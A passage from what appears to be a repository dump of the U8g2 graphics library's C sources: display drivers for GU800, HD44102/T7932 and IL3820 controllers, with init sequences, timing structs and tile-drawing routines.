u8x8_d_gu800_128x64_powersave0_seq[] = {\n  U8X8_CA(0x024, 0x040),\t\t        /* Byte 1: Layer 0010xx00, Byte 2: 0x40 (graphics on, normal mode, no or/xor) */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_gu800_128x64_powersave1_seq[] = {\n  U8X8_CA(0x020, 0x040),\t\t        /* Byte 1: Layer 0010xx00, Byte 2: 0x40 (graphics on, normal mode, no or/xor) */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* hardware flip is not supported by GU800 */\n#ifdef NOT_SUPPORTED\nstatic const uint8_t u8x8_d_gu800_128x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_gu800_128x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n#endif\n\nuint8_t u8x8_d_gu800_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_powersave1_seq);\n      break;\n#ifdef NOT_SUPPORTED\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#endif\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_SendCmd(u8x8, 0x4f - ((arg_int >> 4)&0x0f) );\t/* GU800 has range from 0..15, max brightness is 0x040  */\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x064 );\n      u8x8_cad_SendArg(u8x8, x );\n      u8x8_cad_SendCmd(u8x8, 0x060 );\n      u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos) );\n    \n      do\n      {\n        c = ((u8x8_tile_t *)arg_ptr)->cnt;\n        ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n        /* SendData can not handle more than 255 bytes, treat c > 31 correctly  */\n        if ( c > 31 )\n        {\n          u8x8_cad_SendData(u8x8, 248, ptr); \t/* 31*8=248 */\n          ptr+=248;\n          c -= 31;\n        }\n        u8x8_cad_SendData(u8x8, c*8, ptr); \t\n\targ_int--;\n      } while( arg_int > 0 );\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=================================================*/\n\nstatic const uint8_t u8x8_d_gu800_128x64_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x05f),                                /* clear all RAM, clear address counters */\n  U8X8_DLY(1),                                  /* delay for 1 ms (see datasheet) */\n  \n  /* configure all area as graphics RAM */\n  U8X8_CA(0x62,0), U8X8_D1(0xff),\n  U8X8_CA(0x62,1), U8X8_D1(0xff),\n  U8X8_CA(0x62,2), U8X8_D1(0xff),\n  U8X8_CA(0x62,3), U8X8_D1(0xff),\n  U8X8_CA(0x62,4), U8X8_D1(0xff),\n  U8X8_CA(0x62,5), U8X8_D1(0xff),\n  U8X8_CA(0x62,6), U8X8_D1(0xff),\n  U8X8_CA(0x62,7), U8X8_D1(0xff),\n  \n  U8X8_CA(0x70, 0),                             /* horizontal shift */\n  U8X8_C(0xb0),                                 /* vertical shift */  \n  U8X8_C(0x40),                                 /* min (0x04f) / max (0x040) brightness */\n  U8X8_C(0x84),                                 /* x increment */\n  \n  // U8X8_CA(0x024, 0x040)              /* display on */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_d_gu800_128x64_display_info =\n{\n  /* chip_enable_level = */ 0,      /* GU800: CSS signal */\n  /* chip_disable_level = */ 1,     /* GU800: CSS signal */\n  \n  /* post_chip_enable_wait_ns = */ 40,\n  /* pre_chip_disable_wait_ns = */ 150,\n  /* reset_pulse_width_ms = */ 2,   /* GU800: Unspecified in datasheet */\n  /* post_reset_wait_ms = */ 2,     /* GU800: Min 1.5ms per datasheet */\n  /* sda_setup_time_ns = */ 40,     /* GU800: 40ns according to the timing diagram */\n  /* sck_pulse_width_ns = */ 80,    /* GU800: Min 80ns per datasheet */\n  /* sck_clock_hz = */ 4000000UL,\n  /* spi_mode = */ 2,               /* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,   /* GU800: Not used */\n  /* data_setup_time_ns = */ 40,    /* GU800: Min 40ns per datasheet */\n  /* write_pulse_width_ns = */ 150, /* GU800: Min 150ns per datasheet */\n  /* tile_width = */ 16,            /* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\n\nuint8_t u8x8_d_gu800_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  \n  if ( u8x8_d_gu800_common(u8x8, msg, arg_int, arg_ptr) )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_gu800_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_init_seq);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=================================================*/\n/* https://github.com/olikraus/u8g2/issues/1970 */\n\nstatic const uint8_t u8x8_d_gu800_160x16_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x05f),                                /* clear all RAM, clear address counters */\n  U8X8_DLY(1),                                  /* delay for 1 ms (see datasheet) */\n  \n  /* configure all area as graphics RAM */\n  U8X8_CA(0x62,0), U8X8_D1(0xff),\n  U8X8_CA(0x62,1), U8X8_D1(0xff),\n  U8X8_CA(0x62,2), U8X8_D1(0xff),\n  U8X8_CA(0x62,3), U8X8_D1(0xff),\n  U8X8_CA(0x62,4), U8X8_D1(0xff),\n  U8X8_CA(0x62,5), U8X8_D1(0xff),\n  U8X8_CA(0x62,6), U8X8_D1(0xff),\n  U8X8_CA(0x62,7), U8X8_D1(0xff),\n  \n  U8X8_CA(0x70, 0),                             /* horizontal shift */\n  U8X8_C(0xb0),                                 /* vertical shift */  \n  U8X8_C(0x40),                                 /* min (0x04f) / max (0x040) brightness */\n  U8X8_C(0x84),                                 /* x increment */\n  \n  // U8X8_CA(0x024, 0x040)              /* display on */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_d_gu800_160x16_display_info =\n{\n  /* chip_enable_level = */ 0,      /* GU800: CSS signal */\n  /* chip_disable_level = */ 1,     /* GU800: CSS signal */\n  \n  /* post_chip_enable_wait_ns = */ 40,\n  /* pre_chip_disable_wait_ns = */ 150,\n  /* reset_pulse_width_ms = */ 2,   /* GU800: Unspecified in datasheet */\n  /* post_reset_wait_ms = */ 2,     /* GU800: Min 1.5ms per datasheet */\n  /* sda_setup_time_ns = */ 40,     /* GU800: 40ns according to the timing diagram */\n  /* sck_pulse_width_ns = */ 80,    /* GU800: Min 80ns per datasheet */\n  /* sck_clock_hz = */ 4000000UL,\n  /* spi_mode = */ 3,               /* active high, rising edge, ISSUE 1970 */\n  /* i2c_bus_clock_100kHz = */ 4,   /* GU800: Not used */\n  /* data_setup_time_ns = */ 40,    /* GU800: Min 40ns per datasheet */\n  /* write_pulse_width_ns = */ 150, /* GU800: Min 150ns per datasheet */\n  /* tile_width = */ 20,            /* width of 8*20=160 pixel */\n  /* tile_height = */ 2,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 16\n};\n\n\nuint8_t u8x8_d_gu800_160x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  \n  if ( u8x8_d_gu800_common(u8x8, msg, arg_int, arg_ptr) )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_gu800_160x16_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_gu800_160x16_init_seq);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=================================================*/\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_hd44102.c",
    "content": "/*\n\n  u8x8_d_hd44102.c \n  \n  Support for HD44102 and T7932 controller (https://github.com/olikraus/u8g2/issues/1492)\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2021, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_hd44102_init_seq[] = {\n  U8X8_C(0x03b),\t\t                /* upcount  */  \n  U8X8_C(0x03e),\t\t                /* start at the top  */  \n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_hd44102_powersave0_seq[] = {\n  U8X8_C(0x039),\t\t                /* display on */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_hd44102_powersave1_seq[] = {\n  U8X8_C(0x038),\t\t                /* display off */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/*\n  data: pointer to \"cnt\" bytes\n  cnt: number of bytes, which should be sent\n  page: 0..3: the current page within the display\n  offset: offset location on the display, where the data should be placed\n  cs_none: 3-bit chip select pattern for not selecting any display\n  cs0: 3-bit chip select pattern for the left display (0..49)\n  cs1: 3-bit chip select pattern for the middle display (50..99)\n  cs2: 3-bit chip select pattern for the right display (100..149)\n\n  The csX bit pattern is:\n    bit 0: CS \n    bit 1: CS1\n    bit 2: CS2\n    see u8x8_byte_set_ks0108_cs() in u8x8_byte.c\n\n*/\nstatic void u8x8_hd44102_outy(u8x8_t *u8x8, uint8_t *data, uint8_t cnt, uint8_t page, uint8_t offset, uint8_t cs_none, uint8_t cs0, uint8_t cs1, uint8_t cs2)\n{\n  uint8_t pos = offset;\n  uint8_t data_cnt;\n  \n  /* write to left display? */\n  if ( pos < 50 && cnt > 0 )\n  {\n    /* calculate number of bytes to sent */\n    data_cnt = 50 - pos;\n    if ( data_cnt > cnt )\n      data_cnt = cnt;\n    if ( data_cnt > 50 )\n      data_cnt = 50;\n\n    /* sent the data */\n    u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs0, NULL);\n    u8x8_cad_SendCmd(u8x8, (page << 6) | pos );\n    u8x8_cad_SendData(u8x8, data_cnt, data);\n    u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs_none, NULL); \n\n    /* adjust the data */\n    data += data_cnt;\n    pos += data_cnt;\n    cnt -= data_cnt;\n  }\n  \n  /* write to middle display? */\n  if ( pos < 100 && cnt > 0 )\n  {\n    /* calculate number of bytes to sent */\n    data_cnt = 100 - pos;\n    if ( data_cnt > cnt )\n      data_cnt = cnt;\n    if ( data_cnt > 50 )\n      data_cnt = 50;\n\n    /* sent the data */\n    u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs1, NULL);\n    u8x8_cad_SendCmd(u8x8, (page << 6) | (pos-50) );\n    u8x8_cad_SendData(u8x8, data_cnt, data);\n    u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs_none, NULL); \n\n    /* adjust the data */\n    data += data_cnt;\n    pos += data_cnt;\n    cnt -= data_cnt;\n  }\n  \n  /* write to right display? */\n  if ( pos < 150 && cnt > 0 )\n  {\n    /* calculate number of bytes to sent */\n    data_cnt = 150 - pos;\n    if ( data_cnt > cnt )\n      data_cnt = cnt;\n    if ( data_cnt > 50 )\n      data_cnt = 50;\n\n    /* sent the data */\n    u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs2, NULL);\n    u8x8_cad_SendCmd(u8x8, (page << 6) | (pos-100) );\n    u8x8_cad_SendData(u8x8, data_cnt, data);\n    u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs_none, NULL); \n\n    /* adjust the data */\n    data += data_cnt;\n    pos += data_cnt;\n    cnt -= data_cnt;\n  }\n}\n\n\n\n\nstatic const u8x8_display_info_t u8x8_hd44102_150x32_display_info =\n{\n  /* chip_enable_level = */ 0,\t\t/* KS0108/HD44102: Not used */\n  /* chip_disable_level = */ 1,\t\t/* KS0108/HD44102: Not used */\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \t\n  /* sda_setup_time_ns = */ 12,\t\t\n  /* sck_pulse_width_ns = */ 75,\t/* KS0108/HD44102: Not used */\n  /* sck_clock_hz = */ 4000000UL,\t/* KS0108/HD44102: Not used */\n  /* spi_mode = */ 0,\t\t\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* KS0108/HD44102: Not used */\n  /* data_setup_time_ns = */ 200,\n  /* write_pulse_width_ns = */ 250,\t/* KS0108/HD44102: actially 450 ns, but additional 200 ns are added by the byte transfer function */\n  /* tile_width = */ 19,\t\t/* width of 19*8=152 pixel */\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 150,\n  /* pixel_height = */ 32\n};\n\n//uint8_t u8x8_d_hd44102_150x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n\nuint8_t u8x8_d_t7932_150x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t cs[4] = {1, 2, 4, 0};\n  uint8_t i;\n  uint8_t x, cnt;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_hd44102_150x32_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n\n      for( i = 0; i < 3; i++ )\n      {\n        u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs[i], NULL);\n        u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_init_seq);\n        u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs[3], NULL);\n      }\n    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      \n      for( i = 0; i < 3; i++ )\n      {\n        u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs[i], NULL);\n        if ( arg_int == 0 )\n        {\n          u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_powersave0_seq);\n        }\n        else\n        {\n          u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_powersave1_seq);\n        }\n        u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs[3], NULL);\t\n      }\n      break;\n// The HD44102 can not mirror the cols and rows, use U8g2 for rotation\n//    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n//      break;\n// The HD44102 has no internal contrast command\n//    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n//      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      cnt = ((u8x8_tile_t *)arg_ptr)->cnt;\n      x*=8;\n      cnt*=8;\n    \n      do\n      {\n        u8x8_hd44102_outy(u8x8, \n          ((u8x8_tile_t *)arg_ptr)->tile_ptr, \n          cnt, \n          ((u8x8_tile_t *)arg_ptr)->y_pos, \n          x, \n          cs[3], cs[0], cs[1], cs[2]);\n        arg_int--;\n        x += cnt;\n      } while (arg_int > 0);\n    \n    \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nstatic const u8x8_display_info_t u8x8_hd44102_100x64_display_info =\n{\n  /* chip_enable_level = */ 0,\t\t/* KS0108/HD44102: Not used */\n  /* chip_disable_level = */ 1,\t\t/* KS0108/HD44102: Not used */\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \t\n  /* sda_setup_time_ns = */ 12,\t\t\n  /* sck_pulse_width_ns = */ 75,\t/* KS0108/HD44102: Not used */\n  /* sck_clock_hz = */ 4000000UL,\t/* KS0108/HD44102: Not used */\n  /* spi_mode = */ 0,\t\t\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* KS0108/HD44102: Not used */\n  /* data_setup_time_ns = */ 200,\n  /* write_pulse_width_ns = */ 250,\t/* KS0108/HD44102: actially 450 ns, but additional 200 ns are added by the byte transfer function */\n  /* tile_width = */ 13,\t\t/* width of 13*8=104 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 100,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_hd44102_100x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i;\n  uint8_t x, cnt, page;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_hd44102_100x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n\n      for( i = 0; i < 4; i++ )\n      {\n        u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, i, NULL);\n        u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_init_seq);\n        u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n      }\n    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      \n      for( i = 0; i < 4; i++ )\n      {\n        u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, i, NULL);\n        if ( arg_int == 0 )\n        {\n          u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_powersave0_seq);\n        }\n        else\n        {\n          u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_powersave1_seq);\n        }\n        u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\t\n      }\n      break;\n// The HD44102 can not mirror the cols and rows, use U8g2 for rotation\n//    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n//      break;\n// The HD44102 has no internal contrast command\n//    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n//      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;      \n      cnt = ((u8x8_tile_t *)arg_ptr)->cnt;\n      page = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      x*=8;\n      cnt*=8;\n      if ( page < 4 )\n      {\n        do\n        {\n          u8x8_hd44102_outy(u8x8, \n            ((u8x8_tile_t *)arg_ptr)->tile_ptr, \n            cnt, \n            page, \n            x, \n            7, 0, 1, 7);\n          arg_int--;\n          x += cnt;\n        } while (arg_int > 0);\n      }\n      else\n      {\n        do\n        {\n          u8x8_hd44102_outy(u8x8, \n            ((u8x8_tile_t *)arg_ptr)->tile_ptr, \n            cnt, \n            page-4, \n            x, \n            7, 2, 3, 7);\n          arg_int--;\n          x += cnt;\n        } while (arg_int > 0);\n      }\n    \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_il3820_296x128.c",
    "content": "/*\n\n  u8x8_d_il3820_296x128.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  il3820: 200x300x1\n  \n  command \n    0x22: assign actions\n    0x20: execute actions\n  \n  action for command 0x022 are (more or less guessed)\n    bit 7:\tEnable Clock\n    bit 6:\tEnable Charge Pump\n    bit 5:\tLoad Temparture Value (???)\n    bit 4:\tLoad LUT (???)\n    bit 3:\tInitial Display (???)\n    bit 2:\tPattern Display --> Requires about 945ms with the LUT from below\n    bit 1:\tDisable Charge Pump\n    bit 0:\tDisable Clock\n    \n    Disable Charge Pump and Clock require about 10ms\n    Enable Charge Pump and Clock require about 100 to 300ms\n\n  Notes:\n    - Introduced a refresh display message, which copies RAM to display\n    - Charge pump is always enabled. Charge pump can be enabled/disabled via power save message\n    - U8x8 will not really work because of the two buffers in the SSD1606, however U8g2 should be ok.\n\n  LUT for the 296x128 device (IL3820)\n  LUT (cmd: 0x032 has 30 bytes)\n  section 6.8 of the datasheet mentions 256 bits = 32 bytes for the LUT\n  chapter 7 tells 30 bytes\n\n  according to section 6.8:\n  20 bytes waveform\n  10 bytes timing\n  1 byte named as VSH/VSL\n  1 empty byte\n  according to the command table, the lut has 240 bits (=30 bytes * 8 bits)\n\n\n  LUT / Refresh time\n    total_refresh_time = (refresh_lines + dummy_lines*2)*TGate*TS_Sum/f_OSC\n\n    f_OSC=1MHz (according to the datasheets)\n    refreh_lines = 296 (for the waveshare display, 0x045 cmd)\n    dummy_lines = 22 (for the upcoming u8g2 code, 0x03a cmd)\n    TGate = 62 (POR default, 0x03b cmd)\n    TS_Sum: Sum of all TS entries of the second part of the LUT\n    f_OSC: 1MHz according to the datasheet.\n\n    so we have\n\n    total_refresh_time = 21080*TS_Sum/1000000 = 21ms * TS_Sum\n\n\n  This file includes two devices:\n    u8x8_d_il3820_296x128\t\t--> includes LUT which is probably from the WaveShare 2.9 Vendor\n    u8x8_d_il3820_v2_296x128\t\t--> includes LUT which was optimized for faster speed and lesser flicker\n\n*/\n  \n/* Waveform part of the LUT (20 bytes) */\n/* bit 7/6: 1 - 1 transition */\n/* bit 5/4: 1 - 0 transition */\n/* bit 3/2: 0 - 1 transition */\n/* bit 1/0: 0 - 0 transition */\n/* \t00 – VSS */\n/* \t01 – VSH */\n/* \t10 – VSL */\n/* \t11 – NA */\n  \n\n#include \"u8x8.h\"\n\n/*=================================================*/\n/* common code for all devices */\n\n\nstatic const uint8_t u8x8_d_il3820_296x128_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x22, 0xc0),\t\t\t/* enable clock and charge pump */\n  U8X8_C(0x20),\t\t\t\t/* execute sequence */  \n  U8X8_DLY(200),\t\t\t\t/* according to my measures it may take up to 150ms */\n  U8X8_DLY(100),\t\t\t\t/* but it might take longer */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_il3820_296x128_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  /* disable clock and charge pump only, deep sleep is not entered, because we will loose RAM content */\n  U8X8_CA(0x22, 0x02),\t\t\t/* only disable charge pump, HW reset seems to be required if the clock is disabled */\n  U8X8_C(0x20),\t\t\t\t/* execute sequence */  \n  U8X8_DLY(20),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n// static const uint8_t u8x8_d_il3820_296x128_flip0_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n// static const uint8_t u8x8_d_il3820_296x128_flip1_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n\nstatic const u8x8_display_info_t u8x8_il3820_296x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 120,\n  /* pre_chip_disable_wait_ns = */ 60,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 50,\t\t/* IL3820 */\n  /* sck_pulse_width_ns = */ 125,\t/* IL3820: 125ns, clock cycle = 250ns */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 37,\t\t/* 37*8 = 296 */\n  /* tile_height = */ 16,\t\t/* 16*8 = 128 */\t\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 296,\n  /* pixel_height = */ 128\n};\n\n\nstatic uint8_t *u8x8_convert_tile_for_il3820(uint8_t *t)\n{\n  uint8_t i;\n  static uint8_t buf[8];\n  uint8_t *pbuf = buf;\n\n  for( i = 0; i < 8; i++ )\n  {\n    *pbuf++ = ~(*t++);\n  }\n  return buf;\n}\n\nstatic void u8x8_d_il3820_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) U8X8_NOINLINE;\nstatic void u8x8_d_il3820_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr)\n{\n  uint16_t x;\n  uint8_t c, page;\n  uint8_t *ptr;\n  u8x8_cad_StartTransfer(u8x8);\n\n  